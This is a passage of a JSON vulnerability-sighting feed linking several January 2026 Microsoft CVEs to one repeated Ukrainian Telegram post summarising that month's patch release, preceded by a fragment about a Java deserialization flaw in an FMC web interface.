\u042f\u043a\u0449\u043e \u043d\u0430\u0434\u0456\u0441\u043b\u0430\u0442\u0438 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0439 \u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0438\u0439 Java-\u043e\u0431'\u0454\u043a\u0442 \u0434\u043e \u0432\u0435\u0431-\u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f FMC, \u0432\u0456\u043d \u043c\u043e\u0436\u0435 \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043a\u043e\u0434 \u0456 \u043f\u043e\u0442\u0435\u043d\u0446\u0456\u0439\u043d\u043e \u043f\u0456\u0434\u0432\u0438\u0449\u0438\u0442\u0438 \u0441\u0432\u043e\u0457 \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457 \u0434\u043e \u0440\u0456\u0432\u043d\u044f root.", "creation_timestamp": "2026-07-20T19:00:04.853305Z"}, {"uuid": "7ec57605-5835-4066-b6f5-26d575e41bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20843", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:05.015109Z"}, {"uuid": "9b5f9563-b05b-4bc4-bbca-09987f0a52b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:05.044404Z"}, {"uuid": "cca205fa-6866-436b-876a-395b333f64a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:05.074336Z"}, {"uuid": "c057f9b0-ae61-4665-a2ea-77c35f753b50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20816", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:05.098637Z"}, {"uuid": "aec5de65-1ac5-4b41-8883-20fc0c34de75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:04.921121Z"}, {"uuid": "8c6c09d3-49b0-4021-b2e9-d1a082e55e95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 